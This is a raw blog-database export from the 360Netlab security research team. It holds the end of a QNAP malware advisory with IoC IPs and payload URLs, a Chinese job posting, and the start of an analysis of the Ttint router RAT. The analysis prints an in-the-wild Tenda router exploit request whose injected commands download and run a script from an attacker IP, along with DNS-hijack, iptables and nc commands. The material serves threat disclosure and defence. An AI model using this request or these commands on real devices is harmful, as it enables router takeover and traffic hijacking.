firmware\n```\nHS-210_20160304-4.2.0\nHS-251_20160304-4.2.0\nSS-439_20160304-4.2.0\nSS-2479U_20160130-4.2.0\nTS-119_20160304-4.2.0\nTS-210_20160304-4.2.0\nTS-219_20160304-4.2.0\nTS-221_20160304-4.2.0\nTS-239H_20160304-4.2.0\nTS-239PROII_20160304-4.2.0\nTS-239_20160304-4.2.0\nTS-269_20160304-4.2.0\nTS-410U_20160304-4.2.0\nTS-410_20160304-4.2.0\nTS-412U_20160304-4.2.0\nTS-419P_20160304-4.2.0\nTS-419U_20160304-4.2.0\nTS-420U_20160304-4.2.0\nTS-421U_20160304-4.2.0\nTS-439PROII_20160119-4.2.0\nTS-439PROII_20160304-4.2.0\nTS-439_20160304-4.2.0\nTS-459U_20160119-4.2.0\nTS-459U_20160304-4.2.0\nTS-459_20160304-4.2.0\nTS-469U_20160304-4.2.0\nTS-509_20160304-4.2.0\nTS-559_20160304-4.2.0\nTS-563_20160130-4.2.0\nTS-659_20140927-4.1.1\nTS-659_20160304-4.2.0\nTS-669_20160304-4.2.0\nTS-809_20160304-4.2.0\nTS-859U_20160304-4.2.0\nTS-869_20160304-4.2.0\nTS-870U_20160119-4.2.0\nTS-870U_20160304-4.2.0\nTS-870_20160130-4.2.0\nTS-879_20160130-4.2.0\nTS-1079_20160119-4.2.0\nTS-1269U_20160304-4.2.0\nTS-1270U_20160304-4.2.0\nTS-1679U_20160304-4.2.0\nTS-X51U_20160304-4.2.0\nTS-X51_20160304-4.2.0\nTS-X53U_20160304-4.2.0\nTS-X53U_20161028-4.2.2\nTS-X53U_20161102-4.2.2\nTS-X53U_20161214-4.2.2\nTS-X53U_20170313-4.2.4\nTS-X53_20160304-4.2.0\nTS-X63U_20161102-4.2.2\nTS-X63U_20170313-4.2.4\nTS-X80U_20160304-4.2.0\nTS-X80_20160130-4.2.0\nTS-X80_20160304-4.2.0\nTS-X80_20161102-4.2.2\nTS-X82_20161208-4.2.2\nTS-X82_20170313-4.2.4\nTVS-X63_20160130-4.2.0\nTVS-X63_20160304-4.2.0\nTVS-X63_20160823-4.2.2\nTVS-X63_20160901-4.2.2\nTVS-X63_20161028-4.2.2\nTVS-X63_20161102-4.2.2\nTVS-X63_20170121-4.2.3\nTVS-X63_20170213-4.2.3\nTVS-X63_20170313-4.2.4\nTVS-X71U_20161208-4.2.2\nTVS-X71_20160130-4.2.0\nTVS-X71_20160304-4.2.0\nTVS-X71_20161214-4.2.2\nTVS-X71_20170313-4.2.4\n```\n\n### Suggestions\nWe recommend that QNAP NAS users check and update their firmwares in a timely manner and also check for abnormal processes and network connections.\n\nWe recommend the following IoCs to be monitored and blocked on the networks where it is applicable.\n\n### Contact us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab), or emial to netlab at 360 dot cn.\n\n\n### IoC\nScanner IP\n```\n219.85.109.140 \tTaiwan \tASN18182 \tSony Network Taiwan Limited\n103.209.253.252 \tUnited States \tASN33438 \tHighwinds Network Group, Inc.\n```\nDownloader IP\n```\n165.227.39.105 \tCanada \tASN14061 \tDigitalOcean, LLC\n```\n\nURL\n```\nhttp://165.227.39.105:8096/.sl\nhttp://165.227.39.105:8096/rv\nhttp://165.227.39.105:8096/aaa\n```\n\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5f4c5b967646030007b28730 |
post | null | 2020-09-07T09:54:23.000Z | 63873b9a8b1c1e0007f52f80 | work-in-hangzhou | 0 | 2022-02-09T07:19:25.000Z | public | published | null | 2020-09-08T01:41:29.000Z | 360网络安全研究院杭州开点招聘 | <!--kg-card-begin: markdown--><h3 id="">团队简介</h3>
<p>360网络安全研究院（360Netlab）于2014年成立。不同于传统网络安全主要基于规则，数据分析是团队的主要方向。团队持续专注于DNS和僵尸网络领域，并在领域内保持领先地位。</p>
<p>从2014年开始，团队在DNS方向上建设了国内历史最久、覆盖范围最广的PassiveDNS基础数据库，及其附属其它基础数据库，持续分析产出威胁情报并应用于360网络安全大脑，并在多个DNS领域内的技术会议上做公开报告。在僵尸网络领域内，团队多年来持续致力于发现跟踪僵尸网络活动，披露了包括Mirai、Satori在内的若干重大安全威胁，并因为其中针对Mirai僵尸网络的持续分析工作得到美国FBI、美国司法部的致谢。</p>
<p>360网络安全研究院计划在杭州新成立一个产品团队，把我们的安全数据和技术产品化，探索网络安全行业未知威胁检测难题，为360安全大脑添砖加瓦。</p>
<p>从一次平凡的网络扫描，到漏洞、样本、安全事件分析，再到0-day漏洞检测、未知恶意软件检测、高级威胁追踪，我们致力于通过数据驱动安全，构建网络安全看得见的能力。</p>
<p>更多信息：<a href="https://netlab.360.com">https://netlab.360.com</a></p>
<h3 id="">简历投递</h3>
<p><a href="mailto:[email protected]">[email protected]</a></p>
<h4 id="">工作地点</h4>
<p>杭州（文一西路998号海创园）<br>
<a href="__GHOST_URL__/content/images/2020/09/image_01.jpeg"><img src="__GHOST_URL__/content/images/2020/09/image_01.jpeg" class="kg-image"/></a><br>
<a href="__GHOST_URL__/content/images/2020/09/image_02.jpeg"><img src="__GHOST_URL__/content/images/2020/09/image_02.jpeg" class="kg-image"/></a></p>
<h4 id="">招聘岗位：前端开发工程师（实习生走校招内推流程）</h4>
<h6 id="">职责说明</h6>
<ul>
<li>参与数据可视化系统WEB端的开发</li>
</ul>
<h6 id="">岗位要求</h6>
<ul>
<li>精通 JavaScript/CSS/HTML</li>
<li>熟悉 React/Vue/Angular 任一前端框架</li>
<li>了解 Webpack/Gulp 等前端打包发布工具</li>
<li>熟悉 Python，且熟悉 Flask/Tornado 任一服务端框架</li>
<li>了解基本的Linux命令</li>
<li>有基本的美学判断能力和设计能力</li>
<li>良好的团队合作能力</li>
</ul>
<h4 id="">加分项</h4>
<ul>
<li>熟悉 Typescript</li>
<li>熟悉数据可视化，及D3/Vega/G2 任一可视化框架</li>
</ul>
<h4 id="">招聘岗位：后端开发工程师（实习生走校招内推流程）</h4>
<h6 id="">职责说明</h6>
<ul>
<li>参与蜜罐产品化工作</li>
</ul>
<h6 id="">岗位要求</h6>
<ul>
<li>计算机相关专业本科及以上学历，精通Java、C/C++或Python，3年以上开发经验，熟悉常用数据结构和算法，具有良好的编程和工程实现能力</li>
<li>学习能力强，有良好的较好的创新能力和逻辑思维能力，善于主动思考，对技术有强烈激情</li>
<li>有良好的沟通能力，跨团队协作能力，具备出色的计划和执行力，强烈的责任感</li>
<li>熟悉一种以上海量数据处理平台/框架，如ClickHouse、Hadoop、Storm、Spark、HBase，Elasticsearch等开源系统者优先</li>
<li>有网络安全大数据处理方面经验者优先</li>
</ul>
<h4 id="">招聘岗位：安全研发工程师（实习生走校招内推流程）</h4>
<h6 id="">职责说明</h6>
<ul>
<li>负责蜜罐、沙箱产品研发</li>
</ul>
<h6 id="">岗位要求</h6>
<ul>
<li>计算机相关专业本科及以上学历，精通Java、C、C++或Python，3年以上开发经验，熟悉常用数据结构和算法，具有良好的编程和工程实现能力</li>
<li>学习能力强，有良好的较好的创新能力和逻辑思维能力，善于主动思考，对技术有强烈激情</li>
<li>有良好的沟通能力，跨团队协作能力，具备出色的计划和执行力，强烈的责任感</li>
<li>有过开源蜜罐或沙箱项目研发经验者优先</li>
</ul>
<h4 id="">招聘岗位：产品经理</h4>
<h6 id="">职责说明</h6>
<ul>
<li>主导360Netlab安全数据产品化工作，参与安全分析系统设计工作</li>
<li>把控安全项目进度，紧跟客户和市场需求</li>
</ul>
<h6 id="">岗位要求</h6>
<ul>
<li>3年以上互联网产品工作经验，对网络安全数据有产品经验者优先考虑</li>
<li>负责产品需求沟通、需求分析、需求设计、原型设计、交互设计等</li>
<li>负责项目团队的进度把控、产品迭代质量、交付版本验收，对结果负责</li>
<li>有较强的学习能力，为实现产品期望而砥砺前行</li>
<li>良好的沟通能力和团队合作精神，有一定的组织协调能力和决策能力</li>
<li>敏锐的洞察力和超强的分析与解决复杂问题的能力</li>
</ul>
<h4 id="">招聘岗位：安全工程师（实习生走校招内推流程）</h4>
<h6 id="">职责说明</h6>
<ul>
<li>负责高级恶意软件威胁分析，并撰写分析报告</li>
<li>从常规的网络安全数据和恶意样本提炼特征，为安全系统提升检测能力</li>
<li>热爱研究网络空间中不断出现的攻防对抗技术</li>
</ul>
<h6 id="">岗位要求</h6>
<ul>
<li>热爱网络安全工作，具有安全漏洞/恶意代码分析和检测经验者优先考虑</li>
<li>熟悉x86/ARM/MIPS汇编指令，精通ELF/PE文件逆向分析</li>
<li>掌握C/C++、Python、Go等一门或者多门语言，具备开发自动化分析程序能力</li>
<li>熟悉网络攻防技术和常见攻击手法，能快速识别常见的网络攻击</li>
<li>善于主动思考，具备独立分析和解决问题的能力</li>
<li>有较强的学习能力，具备良好的团队合作精神和沟通能力</li>
</ul>
<h4 id="">招聘岗位：算法工程师（实习生走校招内推流程）</h4>
<h6 id="">职责说明</h6>
<ul>
<li>深度理解360Netlab网络安全数据，应用机器学习算法，为安全系统提升检测能力</li>
<li>在工作中能够主动发现各种策略的问题并提出优化方案，并推进优化方案落实</li>
</ul>
<h6 id="">岗位要求</h6>
<ul>
<li>热爱数据分析工作，对网络安全数据（恶意代码、恶意流量、恶意软件行为）有分析经验者优先考虑</li>
<li>熟悉一种或多种常用机器学习模型，具有相关项目经验</li>
<li>熟悉一种或多种常见的机器学习/深度学习工具，有实际使用经验</li>
<li>掌握C/C++、Python、Go等一门或者多门语言，具备开发自动化分析程序能力</li>
<li>善于主动思考，具备独立分析和解决问题的能力</li>
<li>有较强的学习能力，具备良好的团队合作精神和沟通能力</li>
</ul>
<h4 id="">薪酬范围</h4>
<p>上述JD级别不限，薪酬范围20～45K，如果感兴趣，欢迎联系: <a href="mailto:[email protected]">[email protected]</a></p>
<!--kg-card-end: markdown--> | 团队简介
360网络安全研究院（360Netlab）于2014年成立。不同于传统网络安全主要基于规则，数据分析是团队的主要方向。团队持续专注于DNS和僵尸网络领域，并在领域内保持领先地位。
从2014年开始，团队在DNS方向上建设了国内历史最久、覆盖范围最广的PassiveDNS基础数据库，及其附属其它基础数据库，持续分析产出威胁情报并应用于360网络安全大脑，并在多个DNS领域内的技术会议上做公开报告。在僵尸网络领域内，团队多年来持续致力于发现跟踪僵尸网络活动，披露了包括Mirai、Satori在内的若干重大安全威胁，并因为其中针对Mirai僵尸网络的持续分析工作得到美国FBI、美国司法部的致谢。
360网络安全研究院计划在杭州新成立一个产品团队，把我们的安全数据和技术产品化，探索网络安全行业未知威胁检测难题，为360安全大脑添砖加瓦。
从一次平凡的网络扫描，到漏洞、样本、安全事件分析，再到0-day漏洞检测、未知恶意软件检测、高级威胁追踪，我们致力于通过数据驱动安全，构建网络安全看得见的能力。
更多信息：https://netlab.360.com
简历投递
[email protected]
工作地点
杭州（文一西路998号海创园）
招聘岗位：前端开发工程师（实习生走校招内推流程）
职责说明
* 参与数据可视化系统WEB端的开发
岗位要求
* 精通 JavaScript/CSS/HTML
* 熟悉 React/Vue/Angular 任一前端框架
* 了解 Webpack/Gulp 等前端打包发布工具
* 熟悉 Python，且熟悉 Flask/Tornado 任一服务端框架
* 了解基本的Linux命令
* 有基本的美学判断能力和设计能力
* 良好的团队合作能力
加分项
* 熟悉 Typescript
* 熟悉数据可视化，及D3/Vega/G2 任一可视化框架
招聘岗位：后端开发工程师（实习生走校招内推流程）
职责说明
* 参与蜜罐产品化工作
岗位要求
* 计算机相关专业本科及以上学历，精通Java、C/C++或Python，3年以上开发经验，熟悉常用数据结构和算法，具有良好的编程和工程实现能力
* 学习能力强，有良好的较好的创新能力和逻辑思维能力，善于主动思考，对技术有强烈激情
* 有良好的沟通能力，跨团队协作能力，具备出色的计划和执行力，强烈的责任感
* 熟悉一种以上海量数据处理平台/框架，如ClickHouse、Hadoop、Storm、Spark、HBase，Elasticsearch等开源系统者优先
* 有网络安全大数据处理方面经验者优先
招聘岗位：安全研发工程师（实习生走校招内推流程）
职责说明
* 负责蜜罐、沙箱产品研发
岗位要求
* 计算机相关专业本科及以上学历，精通Java、C、C++或Python，3年以上开发经验，熟悉常用数据结构和算法，具有良好的编程和工程实现能力
* 学习能力强，有良好的较好的创新能力和逻辑思维能力，善于主动思考，对技术有强烈激情
* 有良好的沟通能力，跨团队协作能力，具备出色的计划和执行力，强烈的责任感
* 有过开源蜜罐或沙箱项目研发经验者优先
招聘岗位：产品经理
职责说明
* 主导360Netlab安全数据产品化工作，参与安全分析系统设计工作
* 把控安全项目进度，紧跟客户和市场需求
岗位要求
* 3年以上互联网产品工作经验，对网络安全数据有产品经验者优先考虑
* 负责产品需求沟通、需求分析、需求设计、原型设计、交互设计等
* 负责项目团队的进度把控、产品迭代质量、交付版本验收，对结果负责
* 有较强的学习能力，为实现产品期望而砥砺前行
* 良好的沟通能力和团队合作精神，有一定的组织协调能力和决策能力
* 敏锐的洞察力和超强的分析与解决复杂问题的能力
招聘岗位：安全工程师（实习生走校招内推流程）
职责说明
* 负责高级恶意软件威胁分析，并撰写分析报告
* 从常规的网络安全数据和恶意样本提炼特征，为安全系统提升检测能力
* 热爱研究网络空间中不断出现的攻防对抗技术
岗位要求
* 热爱网络安全工作，具有安全漏洞/恶意代码分析和检测经验者优先考虑
* 熟悉x86/ARM/MIPS汇编指令，精通ELF/PE文件逆向分析
* 掌握C/C++、Python、Go等一门或者多门语言，具备开发自动化分析程序能力
* 熟悉网络攻防技术和常见攻击手法，能快速识别常见的网络攻击
* 善于主动思考，具备独立分析和解决问题的能力
* 有较强的学习能力，具备良好的团队合作精神和沟通能力
招聘岗位：算法工程师（实习生走校招内推流程）
职责说明
* 深度理解360Netlab网络安全数据，应用机器学习算法，为安全系统提升检测能力
* 在工作中能够主动发现各种策略的问题并提出优化方案，并推进优化方案落实
岗位要求
* 热爱数据分析工作，对网络安全数据（恶意代码、恶意流量、恶意软件行为）有分析经验者优先考虑
* 熟悉一种或多种常用机器学习模型，具有相关项目经验
* 熟悉一种或多种常见的机器学习/深度学习工具，有实际使用经验
* 掌握C/C++、Python、Go等一门或者多门语言，具备开发自动化分析程序能力
* 善于主动思考，具备独立分析和解决问题的能力
* 有较强的学习能力，具备良好的团队合作精神和沟通能力
薪酬范围
上述JD级别不限，薪酬范围20～45K，如果感兴趣，欢迎联系: [email protected]
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### 团队简介\n360网络安全研究院（360Netlab）于2014年成立。不同于传统网络安全主要基于规则，数据分析是团队的主要方向。团队持续专注于DNS和僵尸网络领域，并在领域内保持领先地位。\n\n从2014年开始，团队在DNS方向上建设了国内历史最久、覆盖范围最广的PassiveDNS基础数据库，及其附属其它基础数据库，持续分析产出威胁情报并应用于360网络安全大脑，并在多个DNS领域内的技术会议上做公开报告。在僵尸网络领域内，团队多年来持续致力于发现跟踪僵尸网络活动，披露了包括Mirai、Satori在内的若干重大安全威胁，并因为其中针对Mirai僵尸网络的持续分析工作得到美国FBI、美国司法部的致谢。\n\n360网络安全研究院计划在杭州新成立一个产品团队，把我们的安全数据和技术产品化，探索网络安全行业未知威胁检测难题，为360安全大脑添砖加瓦。\n\n从一次平凡的网络扫描，到漏洞、样本、安全事件分析，再到0-day漏洞检测、未知恶意软件检测、高级威胁追踪，我们致力于通过数据驱动安全，构建网络安全看得见的能力。\n\n更多信息：[https://netlab.360.com](https://netlab.360.com)\n\n### 简历投递\[email protected]\n\n#### 工作地点\n杭州（文一西路998号海创园）\n<a href=\"__GHOST_URL__/content/images/2020/09/image_01.jpeg\"><img src=\"__GHOST_URL__/content/images/2020/09/image_01.jpeg\" class=\"kg-image\"/></a>\n<a href=\"__GHOST_URL__/content/images/2020/09/image_02.jpeg\"><img src=\"__GHOST_URL__/content/images/2020/09/image_02.jpeg\" class=\"kg-image\"/></a>\n\n#### 招聘岗位：前端开发工程师（实习生走校招内推流程）\n###### 职责说明\n* 参与数据可视化系统WEB端的开发\n\n###### 岗位要求\n* 精通 JavaScript/CSS/HTML\n* 熟悉 React/Vue/Angular 任一前端框架\n* 了解 Webpack/Gulp 等前端打包发布工具\n* 熟悉 Python，且熟悉 Flask/Tornado 任一服务端框架\n* 了解基本的Linux命令\n* 有基本的美学判断能力和设计能力\n* 良好的团队合作能力\n\n#### 加分项\n* 熟悉 Typescript\n* 熟悉数据可视化，及D3/Vega/G2 任一可视化框架\n\n\n#### 招聘岗位：后端开发工程师（实习生走校招内推流程）\n###### 职责说明\n* 参与蜜罐产品化工作\n\n###### 岗位要求\n* 计算机相关专业本科及以上学历，精通Java、C/C++或Python，3年以上开发经验，熟悉常用数据结构和算法，具有良好的编程和工程实现能力\n* 学习能力强，有良好的较好的创新能力和逻辑思维能力，善于主动思考，对技术有强烈激情\n* 有良好的沟通能力，跨团队协作能力，具备出色的计划和执行力，强烈的责任感\n* 熟悉一种以上海量数据处理平台/框架，如ClickHouse、Hadoop、Storm、Spark、HBase，Elasticsearch等开源系统者优先\n* 有网络安全大数据处理方面经验者优先\n\n#### 招聘岗位：安全研发工程师（实习生走校招内推流程）\n###### 职责说明\n* 负责蜜罐、沙箱产品研发\n\n###### 岗位要求\n* 计算机相关专业本科及以上学历，精通Java、C、C++或Python，3年以上开发经验，熟悉常用数据结构和算法，具有良好的编程和工程实现能力\n* 学习能力强，有良好的较好的创新能力和逻辑思维能力，善于主动思考，对技术有强烈激情\n* 有良好的沟通能力，跨团队协作能力，具备出色的计划和执行力，强烈的责任感\n* 有过开源蜜罐或沙箱项目研发经验者优先\n\n#### 招聘岗位：产品经理\n###### 职责说明\n* 主导360Netlab安全数据产品化工作，参与安全分析系统设计工作\n* 把控安全项目进度，紧跟客户和市场需求\n\n###### 岗位要求\n* 3年以上互联网产品工作经验，对网络安全数据有产品经验者优先考虑\n* 负责产品需求沟通、需求分析、需求设计、原型设计、交互设计等\n* 负责项目团队的进度把控、产品迭代质量、交付版本验收，对结果负责\n* 有较强的学习能力，为实现产品期望而砥砺前行\n* 良好的沟通能力和团队合作精神，有一定的组织协调能力和决策能力\n* 敏锐的洞察力和超强的分析与解决复杂问题的能力\n\n\n#### 招聘岗位：安全工程师（实习生走校招内推流程）\n###### 职责说明\n* 负责高级恶意软件威胁分析，并撰写分析报告\n* 从常规的网络安全数据和恶意样本提炼特征，为安全系统提升检测能力\n* 热爱研究网络空间中不断出现的攻防对抗技术\n\n###### 岗位要求\n* 热爱网络安全工作，具有安全漏洞/恶意代码分析和检测经验者优先考虑\n* 熟悉x86/ARM/MIPS汇编指令，精通ELF/PE文件逆向分析\n* 掌握C/C++、Python、Go等一门或者多门语言，具备开发自动化分析程序能力\n* 熟悉网络攻防技术和常见攻击手法，能快速识别常见的网络攻击\n* 善于主动思考，具备独立分析和解决问题的能力\n* 有较强的学习能力，具备良好的团队合作精神和沟通能力\n\n\n#### 招聘岗位：算法工程师（实习生走校招内推流程）\n###### 职责说明\n* 深度理解360Netlab网络安全数据，应用机器学习算法，为安全系统提升检测能力\n* 在工作中能够主动发现各种策略的问题并提出优化方案，并推进优化方案落实\n\n###### 岗位要求\n* 热爱数据分析工作，对网络安全数据（恶意代码、恶意流量、恶意软件行为）有分析经验者优先考虑\n* 熟悉一种或多种常用机器学习模型，具有相关项目经验\n* 熟悉一种或多种常见的机器学习/深度学习工具，有实际使用经验\n* 掌握C/C++、Python、Go等一门或者多门语言，具备开发自动化分析程序能力\n* 善于主动思考，具备独立分析和解决问题的能力\n* 有较强的学习能力，具备良好的团队合作精神和沟通能力\n\n\n#### 薪酬范围\n上述JD级别不限，薪酬范围20～45K，如果感兴趣，欢迎联系: [email protected]\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5f56034f7646030007b287da |
post | null | 2020-09-10T07:56:13.000Z | 63873b9a8b1c1e0007f52f81 | ttint-an-iot-rat-uses-two-0-days-to-spread | 0 | 2022-02-09T07:07:49.000Z | public | published | null | 2020-09-30T03:24:43.000Z | Ttint: 一款通过2个0-day漏洞传播的IoT远控木马 | <!--kg-card-begin: markdown--><p><em>本文作者：<a href="https://twitter.com/IUnKnow84503351">涂凌鸣</a>，<a href="https://twitter.com/_O_owl">马延龙</a>，<a href="https://twitter.com/zom3y3">叶根深</a></em></p>
<h3 id="">背景介绍</h3>
<p>从2019年11月开始，360Netlab未知威胁检测系统Anglerfish蜜罐节点相继监测到某个攻击者使用2个腾达路由器0-day漏洞传播一个基于Mirai代码开发的远程控制木马（RAT）。</p>
<p>常规的Mirai变种基本都是围绕DDoS做文章，而这个变种不同，在DDoS攻击之外，它针对路由器设备实现了Socket5代理，篡改路由器DNS，设置iptables，执行自定义系统命令等多达12个远程控制功能。</p>
<p>此外，在C2通信层面，它使用WSS (WebSocket over TLS) 协议，一方面这样在流量层面可以规避非常成熟的Mirai流量检测，另一方面可以为C2提供安全加密通信。</p>
<p>在C2本身，攻击者最开始使用了一个Google的云服务IP，其后切换到位于香港的一台托管主机，但是当我们使用网站证书，样本，域名及IP在我们的DNSmon系统里深入扩展关联后，我们看到更多的基础设施IP，更多的样本，和更多的C2域名。</p>
<p>两个0 day，网关设备的12种远控功能，加密流量协议，多次更换的基础设施IP，我们怀疑这个也许不是普通玩家。</p>
<p>这个僵尸网络我们将它命名为Ttint。</p>
<h3 id="0day">0-day漏洞攻击</h3>
<p>2019年11月9号，我们监测到攻击者使用第一个Tenda路由器0-day漏洞（CVE-2018-14558 & CVE-2020-10987），传播Ttint样本。值得注意的是，这个漏洞直到2020年7月10号才被披露出来[<a href="https://blog.securityevaluators.com/tenda-ac1900-vulnerabilities-discovered-and-exploited-e8e26aa0bc68">1]</a>。</p>
<pre><code>GET /goform/setUsbUnload/.js?deviceName=A;cd%20/tmp%3Brm%20get.sh%3Bwget%20http%3A//34.92.139.186%3A5001/bot/get.sh%3Bchmod%20777%20get.sh%3B./get.sh HTTP/1.1
Host: {target}
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
</code></pre>
<p>2020年8月21号，我们监测到攻击者使用第二个Tenda路由器0-day漏洞，传播Ttint样本。</p>
<p>2020年8月28号，我们通过邮件向路由器厂商Tenda报告了第二个0-day漏洞详情以及在野PoC，尚未得到厂商回复。</p>
<h3 id="0day">0-day漏洞影响范围</h3>
<p>360 FirmwareTotal系统通过对Tenda路由器固件分析和漏洞验证，发现以下Tenda路由器固件受影响。</p>
<pre><code>US_AC9V1.0BR_V15.03.05.14_multi_TD01
US_AC9V1.0BR_V15.03.05.16_multi_TRU01
US_AC9V1.0BR_V15.03.2.10_multi_TD01
US_AC9V1.0BR_V15.03.2.13_multi_TD01
US_AC9V1.0BR_V15.03.2.13_multi_TDE01
US_AC9V3.0RTL_V15.03.06.42_multi_TD01
US_AC10UV1.0RTL_V15.03.06.48_multi_TDE01
US_AC15V1.0BR_V15.03.05.18_multi_TD01
US_AC15V1.0BR_V15.03.05.19_multi_TD01
US_AC15V1.0BR_V15.03.1.8_EN_TDEUS
US_AC15V1.0BR_V15.03.1.10_EN_TDC+TDEUS
US_AC15V1.0BR_V15.03.1.10_EN_TDCTDEUS
US_AC15V1.0BR_V15.03.1.12_multi_TD01
US_AC15V1.0BR_V15.03.1.16_multi_TD01
US_AC15V1.0BR_V15.03.1.17_multi_TD01
US_AC18V1.0BR_V15.03.05.05_multi_TD01
US_AC18V1.0BR_V15.03.3.6_multi_TD01
US_AC18V1.0BR_V15.03.3.10_multi_TD01
ac9_kf_V15.03.05.19(6318_)_cn
ac18_kf_V15.03.05.19(6318_)_cn
</code></pre>
<p>360 Quake网络空间测绘系统通过对全网资产测绘，发现Tenda路由器0-day具体分布如下图所示。<br>
<a href="__GHOST_URL__/content/images/2020/09/stats1.png"><img src="__GHOST_URL__/content/images/2020/09/stats1.png" class="kg-image"/></a></p>
<h3 id="ttint">Ttint概览</h3>
<p>Ttint是一款基于Mirai代码开发的，针对路由器设备的远程控制木马。它除了复用10个 Mirai DDoS攻击指令以外，还实现了12个控制指令。</p>
<p>我们分析对比了2个时期的Ttint样本，发现它们的C2指令是完全相同的，但它们在所使用的0-day漏洞，XOR Key，C2协议上有一些区别。<br>
<a href="__GHOST_URL__/content/images/2020/09/ttint_version.png"><img src="__GHOST_URL__/content/images/2020/09/ttint_version.png" class="kg-image"/></a></p>
<h3 id="">逆向分析</h3>
<p>总体来说，Ttint的主机行为比较简单，运行时，删除自身文件，操纵watchdog，防止设备重启；通过绑定端口实现单一实例；接着把修改进程名以迷惑用户；最后和解密得到的C2建立连接，上报设备信息，等待C2下发指令，执行对应的攻击或自定义功能。</p>
<p>我们可以看出它保留了mirai大量特征，诸如单一实例，随机进程名，敏感配制信息加密，集成大量攻击向量等；同时创新地重写了网络通信部分，采用websocket协议，在流量层面规避非常成熟的Mirai流量检测。Mirai已经是社区非常熟悉的老朋友了，因此本文不再赘述Ttint中类似的功能，下文将Ttint V2的X86架构版本为例，从自定义的功能出发，剖析其具体实现。<br>
<a href="__GHOST_URL__/content/images/2020/11/ttint_enfinalvector.jpg"><img src="__GHOST_URL__/content/images/2020/11/ttint_enfinalvector.jpg" class="kg-image"/></a></p>
<h4 id="ttintv2">Ttint v2 样本分析</h4>
<p>MD5:73ffd45ab46415b41831faee138f306e<br>
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped<br>
Lib:uclib</p>
<h4 id="socket5">Socket5代理</h4>
<p>绑定C2下发的特定端口，开启Socket5代理服务。这可以让攻击者远程访问路由器内网，然后实现内网漫游。<br>
<a href="__GHOST_URL__/content/images/2020/09/wschat_proxy.PNG"><img src="__GHOST_URL__/content/images/2020/09/wschat_proxy.PNG" class="kg-image"/></a></p>
<h4 id="dns">篡改路由器DNS</h4>
<p>通过修改resolv.conf文件来篡改路由器DNS,</p>
<pre><code>echo nameserver "DNS server" > /etc/etc/resolv.conf
</code></pre>
<p>这种篡改的结果就是Ttint的作者可以劫持受影响路由设备下用户的任意网络访问，窃取敏感信息。</p>
<h4 id="iptables">设置iptables</h4>
<p>通过设置iptables，实现流量转发，目标地址转化功能，下面的模式是将内网的服务暴露到公网上。</p>
<pre><code>iptables -t nat -A PREROUTING -d "" -p tcp --dport "" -j DNAT --to-destination ""
iptables -t nat -A POSTROUTING -d "" -p tcp --dport "" -j SNAT ""
iptables -A FORWARD -d -j ACCEPT
</code></pre>
<h4 id="shell">反向shell</h4>
<p>通过socket实现反向shell，Ttint的作者可以像使用本地shell一样操作受影响路由设备的shell。<br>
<a href="__GHOST_URL__/content/images/2020/09/wschat_revshell.PNG"><img src="__GHOST_URL__/content/images/2020/09/wschat_revshell.PNG" class="kg-image"/></a></p>
<h4 id="">自升级</h4>
<p>从指定的的Download URL（默认为<code>uhyg8v.notepod2.com:5001</code>）下载相应CPU架构的Bot程序，实现自升级。<br>
<a href="__GHOST_URL__/content/images/2020/09/wschat_update.PNG"><img src="__GHOST_URL__/content/images/2020/09/wschat_update.PNG" class="kg-image"/></a></p>
<h4 id="">自退出</h4>
<p>Ttint通过绑定<code>57322</code>端口实现单一实例，因此杀死使用这个端口的进程，就能实现自退出，达成清理现场的目的。<br>
<a href="__GHOST_URL__/content/images/2020/09/wschat_kill.PNG"><img src="__GHOST_URL__/content/images/2020/09/wschat_kill.PNG" class="kg-image"/></a></p>
<h4 id="">隐秘的网络通道</h4>
<p>通过nc工具监听C2下发的特定端口实现，其中-d的参数的含义是"Detach from stdin",因此我们推测PORT之后存在着重定向的相关指令，可以实现Ttint作者和受影响路由设备之间的数据传输。</p>
<pre><code>nc -d -l "PORT" "some redirect cmd"
</code></pre>
<h4 id="">上报设备信息</h4>
<p>将设备的time，os，cpu，ip，version，mac信息上报给C2，不过在样本中的格式化字串<code>type=back_infoatk_id=%s&time=&os=</code>中出现了一个Bug，遗漏了一个"&"字符。</p>
<h4 id="">执行系统命令</h4>
<p>通过popen函数，执行C2下发的自定义系统命令<br>
<a href="__GHOST_URL__/content/images/2020/09/wschat_runcmd.PNG"><img src="__GHOST_URL__/content/images/2020/09/wschat_runcmd.PNG" class="kg-image"/></a></p>
<h3 id="c2">C2协议分析</h3>
<p>Ttint Bot样本的C2信息按照Mirai形式加密存储在配置信息表中，XOR Key为<code>0x0EDFCEBDA</code></p>
<pre><code>c2 ciphertxt:
51 19 55 56 56 45 59 50 49 62 0E 4E 4F 54 45 50 4F 44 12 0E 43 4F 4D 20
c2 plaintxt:
q9uvveypiB.notepod2.com
</code></pre>
<p>当Bot运行时，解密得到C2地址<code>ws:q9uvveypiB.notepod2.com:443</code>，然后通过WebSocket over TLS协议和C2进行安全通信。<br>
<a href="__GHOST_URL__/content/images/2020/08/wschat_socket.PNG"><img src="__GHOST_URL__/content/images/2020/08/wschat_socket.PNG" class="kg-image"/></a></p>
<h6 id="websocket">WebSocket协议</h6>
<p>当Ttint C2回复Bot的响应码为101时，说明协议握手完成，然后Bot可以使用WebSocket协议进行通信。以下是经过TLS解密后的WebSocket数据包示例。<br>
<a href="__GHOST_URL__/content/images/2020/09/websocket.png"><img src="__GHOST_URL__/content/images/2020/09/websocket.png" class="kg-image"/></a></p>
<h6 id="bot">Bot的上线包</h6>
<p>按照WebSocket协议，我们可以知道Payload长度为0x81, mask为0xD5F39E67，Payload Data数据地址为0x08~0x88。</p>
<pre><code>00000000: 81 FE 00 81 D5 F3 9E 67 A1 8A EE 02 E8 91 FF 04 .......g........
00000010: BE AC F7 09 B3 9C B8 06 A1 98 C1 0E B1 CE AE 41 ...............A
00000020: A1 9A F3 02 E8 D5 F1 14 E8 BF F7 09 A0 8B BE 53 ...............S
00000030: FB C2 AB 49 E5 DE AA 55 F8 94 FB 09 B0 81 F7 04 ...I...U........
00000040: F3 90 EE 12 E8 9A A8 5F E3 D5 F7 17 E8 C2 A7 55 ......._.......U
